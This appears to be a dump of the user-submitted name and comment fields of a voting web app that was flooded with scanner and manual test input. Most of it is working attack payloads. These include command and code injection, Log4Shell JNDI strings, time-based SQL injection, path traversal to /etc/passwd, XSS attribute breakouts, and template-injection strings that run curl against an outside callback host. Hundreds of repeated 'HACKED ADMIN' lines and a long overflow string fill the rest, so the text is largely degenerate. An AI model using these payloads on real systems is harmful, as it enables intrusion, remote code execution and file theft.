carlos st4r7s>3nd
Is this for real?!
HACKED ADMIN
echo yxsXV0jbDd
HACKED ADMIN
sleep 10
HACKED ADMIN
ping -n 11 127.0.0.1
HACKED ADMIN
sleep(bindec(decbin(10)))
HACKED ADMIN
file_get_contents("http://ybzrkjflw98zhtodwq74apdu"."temkpkocm.szpus.prbly.win")
HACKED ADMIN
?>
HACKED ADMIN
?>
HACKED ADMIN
.sleep(bindec(decbin(10)))
HACKED ADMIN
.file_get_contents("http://ybzrkjflw98zhtodwq74wqr9"."wunla8ape.szpus.prbly.win")
HACKED ADMIN
+sleep(bindec(decbin(10)))
HACKED ADMIN
+file_get_contents("http://ybzrkjflw98zhtodwq74erfo"."cp4kfvijd.szpus.prbly.win")
HACKED ADMIN
".sleep(bindec(decbin(10)))."
HACKED ADMIN
".file_get_contents("http://ybzrkjflw98zhtodwq74h2cq"."8oh7xnylx.szpus.prbly.win")."
HACKED ADMIN
(function(){var w=new Date().getTime()+10000;while(new Date().getTime()
HACKED ADMIN
"+(function(){var w=new Date().getTime()+10000;while(new Date().getTime()
HACKED ADMIN
(__import__("time").sleep(10))
HACKED ADMIN
(__import__("urllib").request.urlopen("http://ybzrkjflw98zhtodwq74fnhl"+"gf7veby69.szpus.prbly.win"))
HACKED ADMIN
"+(__import__("time").sleep(10))+"
HACKED ADMIN
"+(__import__("urllib").request.urlopen("http://ybzrkjflw98zhtodwq74bbll"+"2kkfury7d.szpus.prbly.win"))+"
HACKED ADMIN
${jndi:ldap://127.0.0.1#${sys:java.version}.ybzrkjflw98zhtodwq74mxuu${lower:z}wyzuh5f0.szpus.prbly.win:1389/abc}
HACKED ADMIN
${jndi:ldap://127.0.0.1#${sys:java.version}.ybzrkjflw98zhtodwq74u3o2${lower:a}ik4kgkax.szpus.prbly.win/abc}
HACKED ADMIN
${jndi:dns://${sys:java.version}.ybzrkjflw98zhtodwq74xtc8${lower:p}l2bvelyt.szpus.prbly.win/abc}
HACKED ADMIN
${jndi:ldap://${sys:java.version}.ybzrkjflw98zhtodwq74gcnv${lower:j}itvyzv4h.szpus.prbly.win/abc}
HACKED ADMIN
${j${lower:n}di:r${lower:m}i://${sys:java.version}.ybzrkjflw98zhtodwq74bjl5${lower:7}2bpmk5dv.szpus.prbly.win/abc}
HACKED ADMIN
${${lower:j}ndi:${lower:l}dap://${sys:java.version}.ybzrkjflw98zhtodwq74zu8n${lower:q}ejdxymrr.szpus.prbly.win/abc}
HACKED ADMIN
" / sleep(10) / "
HACKED ADMIN
case when cast(pg_sleep(10) as varchar) > ' then 0 else 1 end
HACKED ADMIN
case when cast(pg_sleep(10) as varchar) > ' then 0 else 1 end --
HACKED ADMIN
"case when cast(pg_sleep(10) as varchar) > ' then 0 else 1 end --
HACKED ADMIN
case (3-2)+8-(996356108) when not null then 1 else 1 end
HACKED ADMIN
case randomblob(991370438) when not null then 1 else 1 end
HACKED ADMIN
" | case (5-4)+6+(997467744) when not null then "" else "" end | "
HACKED ADMIN
" | case randomblob(995363662) when not null then "" else "" end | "
HACKED ADMIN
case (4+4)+5-(993439439) when not null then 1 else 1 end --
HACKED ADMIN
case randomblob(991515574) when not null then 1 else 1 end --
HACKED ADMIN
" | case (1+6)+7-(993275332) when not null then "" else "" end --
HACKED ADMIN
" | case randomblob(991886296) when not null then "" else "" end --
HACKED ADMIN
J0o5Tx5s
HACKED ADMIN
c:/Windows/system.ini
HACKED ADMIN
/../../../../../../../../../../../../../../../../Windows/system.ini
HACKED ADMIN
Windows/system.ini
HACKED ADMIN
file:///c:/Windows/system.ini
HACKED ADMIN
c:\Windows\system.ini
HACKED ADMIN
../../../../../../../../../../../../../../../../Windows/system.ini
HACKED ADMIN
/etc/passwd
HACKED ADMIN
/../../../../../../../../../../../../../../../../etc/passwd
HACKED ADMIN
/proc/meminfo
HACKED ADMIN
../../../../../../../../../../../../../../../../etc/passwd
HACKED ADMIN
etc/passwd
HACKED ADMIN
..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2Fetc%2Fpasswd
HACKED ADMIN
.%2E/.%2E/.%2E/.%2E/.%2E/.%2E/.%2E/.%2E/.%2E/.%2E/.%2E/.%2E/.%2E/.%2E/.%2E/.%2E/etc/passwd
HACKED ADMIN
http://szpus.prbly.win/s/rfi1
HACKED ADMIN
szpus.prbly.win/s/rfi1
HACKED ADMIN
https://szpus.prbly.win/s/rfi1
HACKED ADMIN
http://ybzrkjflw98zhtodwq748gfr0yx4vu2yq.szpus.prbly.win
HACKED ADMIN
ybzrkjflw98zhtodwq74zjummiool7lvw.szpus.prbly.win
HACKED ADMIN
https://ybzrkjflw98zhtodwq74m2wtjm5kyrp95.szpus.prbly.win
HACKED ADMIN
<#assign ex="freemarker.template.utility.Execute"?new()> ${ ex("sleep 10") }
HACKED ADMIN
#set($engine="") #set($proc=$engine.getClass().forName("java.lang.Runtime").getRuntime().exec("sleep 10")) #set($null=$proc.waitFor()) ${null}
HACKED ADMIN
[[${#rt = @java.lang.Runtime@getRuntime(),#rt.exec("sleep 10").waitFor()}]]
HACKED ADMIN
${script:javascript:java.lang.Runtime.getRuntime().exec("sleep 10").waitFor()}
HACKED ADMIN
{{"".__class__.__mro__[1].__subclasses__()[157].__repr__.__globals__.get("__builtins__").get("__import__")("subprocess").check_output("sleep 10")}}
HACKED ADMIN
${__import__("subprocess").check_output("sleep 10", shell=True)}
HACKED ADMIN
{{__import__("subprocess").check_output("sleep 10", shell=True)}}
HACKED ADMIN
<%=system("sleep 10")%>
HACKED ADMIN
#{system("sleep 10")}
HACKED ADMIN
{system("sleep 10")}
HACKED ADMIN
<#assign ex="freemarker.template.utility.Execute"?new()> ${ ex("curl http://ybzrkjflw98zhtodwq74lmam"+"bzobq5qlp.szpus.prbly.win") }
HACKED ADMIN
#set($engine="") #set($proc=$engine.getClass().forName("java.lang.Runtime").getRuntime().exec("curl http://ybzrkjflw98zhtodwq74lkzm"+"qbetmeda4.szpus.prbly.win")) #set($null=$proc.waitFor()) ${null}
HACKED ADMIN
[[${#rt = @java.lang.Runtime@getRuntime(),#rt.exec("curl http://ybzrkjflw98zhtodwq74w9gc"+"kh3xme3cp.szpus.prbly.win").waitFor()}]]
HACKED ADMIN
${script:javascript:java.lang.Runtime.getRuntime().exec("curl http://ybzrkjflw98zhtodwq74uk77"+"pswhpljf5.szpus.prbly.win").waitFor()}
HACKED ADMIN
{{"".__class__.__mro__[1].__subclasses__()[157].__repr__.__globals__.get("__builtins__").get("__import__")("subprocess").check_output("curl http://ybzrkjflw98zhtodwq74koq7"+"v5n6wlsff.szpus.prbly.win")}}
HACKED ADMIN
${__import__("subprocess").check_output("curl http://ybzrkjflw98zhtodwq748bfo"+"iewk2m2ay.szpus.prbly.win", shell=True)}
HACKED ADMIN
{{__import__("subprocess").check_output("curl http://ybzrkjflw98zhtodwq74v8ms"+"lshzsg6dy.szpus.prbly.win", shell=True)}}
HACKED ADMIN
<%=system("curl http://ybzrkjflw98zhtodwq74ftry"+"9286a3dxc.szpus.prbly.win")%>
HACKED ADMIN
#{system("curl http://ybzrkjflw98zhtodwq74jjwq"+"cwdqr7iac.szpus.prbly.win")}
HACKED ADMIN
{system("curl http://ybzrkjflw98zhtodwq749l48{""}45vsomovf.szpus.prbly.win")}
HACKED ADMIN
3324530837873471833.whatdoesascannersee.com
HACKED ADMIN
http://3324530837873471833.whatdoesascannersee.com
HACKED ADMIN
https://3324530837873471833.whatdoesascannersee.com
HACKED ADMIN
.3324530837873471833.whatdoesascannersee.com
HACKED ADMIN
//3324530837873471833.whatdoesascannersee.com
HACKED ADMIN
\\3324530837873471833.whatdoesascannersee.com
HACKED ADMIN
pRrLlYIPpjYOkXgVZ26CAsS
HACKED ADMIN
lx782C65
HACKED ADMIN
J0o5Tx5s
HACKED ADMIN
HACKED ADMIN
HACKED ADMIN
HACKED ADMIN
HACKED ADMIN
HACKED ADMIN
HACKED ADMIN
HACKED ADMIN
HACKED ADMIN
HACKED ADMIN
HACKED ADMIN
HACKED ADMIN
HACKED ADMIN
HACKED ADMIN
HACKED ADMIN
HACKED ADMIN
HACKED ADMIN
HACKED ADMIN
HACKED ADMIN
HACKED ADMIN
HACKED ADMIN
HACKED ADMIN
HACKED ADMIN
HACKED ADMIN
HACKED ADMIN
HACKED ADMIN
HACKED ADMIN
HACKED ADMIN
HACKED ADMIN
HACKED ADMIN
HACKED ADMIN
HACKED ADMIN
HACKED ADMIN
HACKED ADMIN
HACKED ADMIN
HACKED ADMIN
HACKED ADMIN
HACKED ADMIN
HACKED ADMIN
HACKED ADMIN
HACKED ADMIN
HACKED ADMIN
HACKED ADMIN
HACKED ADMIN
HACKED ADMIN
HACKED ADMIN
HACKED ADMIN
HACKED ADMIN
HACKED ADMIN
HACKED ADMIN
HACKED ADMIN
HACKED ADMIN
HACKED ADMIN
HACKED ADMIN
HACKED ADMIN
HACKED ADMIN
HACKED ADMIN
HACKED ADMIN
HACKED ADMIN
HACKED ADMIN
HACKED ADMIN
HACKED ADMIN
HACKED ADMIN
HACKED ADMIN
HACKED ADMIN
HACKED ADMIN
HACKED ADMIN
HACKED ADMIN
HACKED ADMIN
HACKED ADMIN
HACKED ADMIN
HACKED ADMIN
HACKED ADMIN
HACKED ADMIN
HACKED ADMIN
HACKED ADMIN
HACKED ADMIN
HACKED ADMIN
HACKED ADMIN
HACKED ADMIN
HACKED ADMIN
HACKED ADMIN
HACKED ADMIN
HACKED ADMIN
HACKED ADMIN
HACKED ADMIN
HACKED ADMIN
HACKED ADMIN
HACKED ADMIN
HACKED ADMIN
HACKED ADMIN
HACKED ADMIN
HACKED ADMIN
HACKED ADMIN
HACKED ADMIN
HACKED ADMIN
HACKED ADMIN
HACKED ADMIN
HACKED ADMIN
HACKED ADMIN
HACKED ADMIN
HACKED ADMIN
HACKED ADMIN
HACKED ADMIN
HACKED ADMIN
HACKED ADMIN
HACKED ADMIN
HACKED ADMIN
HACKED ADMIN
HACKED ADMIN
HACKED ADMIN
HACKED ADMIN
HACKED ADMIN
HACKED ADMIN
HACKED ADMIN
HACKED ADMIN
HACKED ADMIN
HACKED ADMIN
HACKED ADMIN
HACKED ADMIN
HACKED ADMIN
HACKED ADMIN
HACKED ADMIN
HACKED ADMIN
HACKED ADMIN
HACKED ADMIN
HACKED ADMIN
HACKED ADMIN
HACKED ADMIN
HACKED ADMIN
HACKED ADMIN
HACKED ADMIN
HACKED ADMIN
HACKED ADMIN
HACKED ADMIN
HACKED ADMIN
HACKED ADMIN
HACKED ADMIN
HACKED ADMIN
HACKED ADMIN
HACKED ADMIN
HACKED ADMIN
HACKED ADMIN
HACKED ADMIN
HACKED ADMIN
HACKED ADMIN
HACKED ADMIN
HACKED ADMIN
HACKED ADMIN
HACKED ADMIN
HACKED ADMIN
HACKED ADMIN
HACKED ADMIN
HACKED ADMIN
HACKED ADMIN
HACKED ADMIN
HACKED ADMIN
HACKED ADMIN
HACKED ADMIN
HACKED ADMIN
HACKED ADMIN
HACKED ADMIN
HACKED ADMIN
HACKED ADMIN
HACKED ADMIN
HACKED ADMIN
HACKED ADMIN
HACKED ADMIN
HACKED ADMIN
HACKED ADMIN
HACKED ADMIN
HACKED ADMIN
HACKED ADMIN
HACKED ADMIN
HACKED ADMIN
HACKED ADMIN
HACKED ADMIN
HACKED ADMIN
HACKED ADMIN
HACKED ADMIN
HACKED ADMIN
HACKED ADMIN
HACKED ADMIN
HACKED ADMIN
HACKED ADMIN
HACKED ADMIN
HACKED ADMIN
HACKED ADMIN
HACKED ADMIN
HACKED ADMIN
HACKED ADMIN
HACKED ADMIN
HACKED ADMIN
HACKED ADMIN
HACKED ADMIN
HACKED ADMIN
HACKED ADMIN
HACKED ADMIN
HACKED ADMIN
HACKED ADMIN
HACKED ADMIN
HACKED ADMIN
HACKED ADMIN
HACKED ADMIN
HACKED ADMIN
HACKED ADMIN
HACKED ADMIN
HACKED ADMIN
HACKED ADMIN
HACKED ADMIN
HACKED ADMIN
HACKED ADMIN
HACKED ADMIN
HACKED ADMIN
HACKED ADMIN
HACKED ADMIN
HACKED ADMIN
HACKED ADMIN
HACKED ADMIN
HACKED ADMIN
HACKED ADMIN
HACKED ADMIN
HACKED ADMIN
HACKED ADMIN
HACKED ADMIN
HACKED ADMIN
HACKED ADMIN
HACKED ADMIN
HACKED ADMIN
HACKED ADMIN
HACKED ADMIN
HACKED ADMIN
HACKED ADMIN
HACKED ADMIN
HACKED ADMIN
HACKED ADMIN
HACKED ADMIN
HACKED ADMIN
HACKED ADMIN
HACKED ADMIN
HACKED ADMIN
HACKED ADMIN
HACKED ADMIN
HACKED ADMIN
HACKED ADMIN
HACKED ADMIN
HACKED ADMIN
HACKED ADMIN
HACKED ADMIN
HACKED ADMIN
HACKED ADMIN
HACKED ADMIN
HACKED ADMIN
HACKED ADMIN
HACKED ADMIN
HACKED ADMIN
HACKED ADMIN
HACKED ADMIN
HACKED ADMIN
HACKED ADMIN
HACKED ADMIN
HACKED ADMIN
HACKED ADMIN
HACKED ADMIN
HACKED ADMIN
HACKED ADMIN
HACKED ADMIN
HACKED ADMIN
HACKED ADMIN
HACKED ADMIN
HACKED ADMIN
HACKED ADMIN
HACKED ADMIN
HACKED ADMIN
HACKED ADMIN
HACKED ADMIN
HACKED ADMIN
HACKED ADMIN
HACKED ADMIN
HACKED ADMIN
HACKED ADMIN
HACKED ADMIN
HACKED ADMIN
HACKED ADMIN
HACKED ADMIN
HACKED ADMIN
HACKED ADMIN
HACKED ADMIN
HACKED ADMIN
HACKED ADMIN
HACKED ADMIN
HACKED ADMIN
HACKED ADMIN
HACKED ADMIN
HACKED ADMIN
HACKED ADMIN
HACKED ADMIN
HACKED ADMIN
HACKED ADMIN
HACKED ADMIN
HACKED ADMIN
HACKED ADMIN
HACKED ADMIN
HACKED ADMIN
HACKED ADMIN
HACKED ADMIN
HACKED ADMIN
HACKED ADMIN
HACKED ADMIN
HACKED ADMIN
HACKED ADMIN
HACKED ADMIN
HACKED ADMIN
HACKED ADMIN
HACKED ADMIN
HACKED ADMIN
HACKED ADMIN
HACKED ADMIN
HACKED ADMIN
HACKED ADMIN
HACKED ADMIN
HACKED ADMIN
HACKED ADMIN
HACKED ADMIN
HACKED ADMIN
HACKED ADMIN
HACKED ADMIN
HACKED ADMIN
HACKED ADMIN
HACKED ADMIN
HACKED ADMIN
HACKED ADMIN
HACKED ADMIN
HACKED ADMIN
HACKED ADMIN
HACKED ADMIN
HACKED ADMIN
HACKED ADMIN
HACKED ADMIN
HACKED ADMIN
HACKED ADMIN
HACKED ADMIN
HACKED ADMIN
HACKED ADMIN
HACKED ADMIN
HACKED ADMIN
HACKED ADMIN
HACKED ADMIN
HACKED ADMIN
HACKED ADMIN
HACKED ADMIN
HACKED ADMIN
HACKED ADMIN
HACKED ADMIN
HACKED ADMIN
HACKED ADMIN
HACKED ADMIN
HACKED ADMIN
HACKED ADMIN
HACKED ADMIN
HACKED ADMIN
HACKED ADMIN
HACKED ADMIN
HACKED ADMIN
HACKED ADMIN
HACKED ADMIN
HACKED ADMIN
HACKED ADMIN
HACKED ADMIN
HACKED ADMIN
HACKED ADMIN
HACKED ADMIN
HACKED ADMIN
HACKED ADMIN
HACKED ADMIN
HACKED ADMIN
HACKED ADMIN
HACKED ADMIN
HACKED ADMIN
HACKED ADMIN
HACKED ADMIN
HACKED ADMIN
HACKED ADMIN
HACKED ADMIN
HACKED ADMIN
HACKED ADMIN
HACKED ADMIN
HACKED ADMIN
HACKED ADMIN
HACKED ADMIN
HACKED ADMIN
HACKED ADMIN
HACKED ADMIN
HACKED ADMIN
HACKED ADMIN
HACKED ADMIN
HACKED ADMIN
HACKED ADMIN
HACKED ADMIN
HACKED ADMIN
HACKED ADMIN
HACKED ADMIN
HACKED ADMIN
HACKED ADMIN
HACKED ADMIN
HACKED ADMIN
HACKED ADMIN
HACKED ADMIN
HACKED ADMIN
HACKED ADMIN
HACKED ADMIN
HACKED ADMIN
HACKED ADMIN
HACKED ADMIN
HACKED ADMIN
HACKED ADMIN
HACKED ADMIN
HACKED ADMIN
HACKED ADMIN
HACKED ADMIN
HACKED ADMIN
HACKED ADMIN
HACKED ADMIN
HACKED ADMIN
HACKED ADMIN
HACKED ADMIN
HACKED ADMIN
HACKED ADMIN
HACKED ADMIN
HACKED ADMIN
HACKED ADMIN
HACKED ADMIN
HACKED ADMIN
HACKED ADMIN
HACKED ADMIN
HACKED ADMIN
HACKED ADMIN
HACKED ADMIN
HACKED ADMIN
HACKED ADMIN
HACKED ADMIN
HACKED ADMIN
HACKED ADMIN
HACKED ADMIN
HACKED ADMIN
HACKED ADMIN
HACKED ADMIN
HACKED ADMIN
HACKED ADMIN
HACKED ADMIN
HACKED ADMIN
HACKED ADMIN
HACKED ADMIN
HACKED ADMIN
HACKED ADMIN
HACKED ADMIN
HACKED ADMIN
HACKED ADMIN
HACKED ADMIN
HACKED ADMIN
HACKED ADMIN
HACKED ADMIN
HACKED ADMIN
HACKED ADMIN
HACKED ADMIN
HACKED ADMIN
HACKED ADMIN
HACKED ADMIN
HACKED ADMIN
HACKED ADMIN
HACKED ADMIN
HACKED ADMIN
HACKED ADMIN
HACKED ADMIN
HACKED ADMIN
HACKED ADMIN
HACKED ADMIN
HACKED ADMIN
HACKED ADMIN
HACKED ADMIN
HACKED ADMIN
HACKED ADMIN
HACKED ADMIN
HACKED ADMIN
HACKED ADMIN
HACKED ADMIN
HACKED ADMIN
<%={{={@{#{${zj}}%>
HACKED ADMIN
carlos weiner
test
hello sainz
test-probe csrf-test-lname
Testing business logic
test-probe csrf-test-lname
Testing business logic
test-probe csrf-test-lname
Testing business logic 2
HACKED ADMIN
Testing business logic 5
test-probe csrf-test-lname
Testing business logic 6
test-probe csrf-test-lname
Testing vote with cookie
star star
HACKED ADMIN
Manipulating existing vote
HACKED ADMIN
Manipulating existing vote again
test-probe csrf-test-lname
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
test-probe csrf-test-lname
carlos weiner
VulnTest2
carlos weiner
VulnTest
carlos weiner
VulnTest
carlos weiner
VulnTest3
carlos weiner" onmouseover="alert(1)
First Vote
carlos weiner" onmouseover="alert(1)
Second Vote
HACKED ADMIN
Vote as User 1
carlos weiner" onmouseover="alert(1)
Negative Vote
carlos weiner" onmouseover="alert(1)
CSRF_VOTE_TEST
bob bobby
TEST123
bob bobby
TEST123
bob bobby
TEST123
test-probe csrf-test-lname
test-probe csrf-test-lname
" onmouseover="alert(1)
test-probe csrf-test-lname
test-probe csrf-test-lname
test-probe csrf-test-lname
test-probe csrf-test-lname
Pen Test
pre-logout-session-test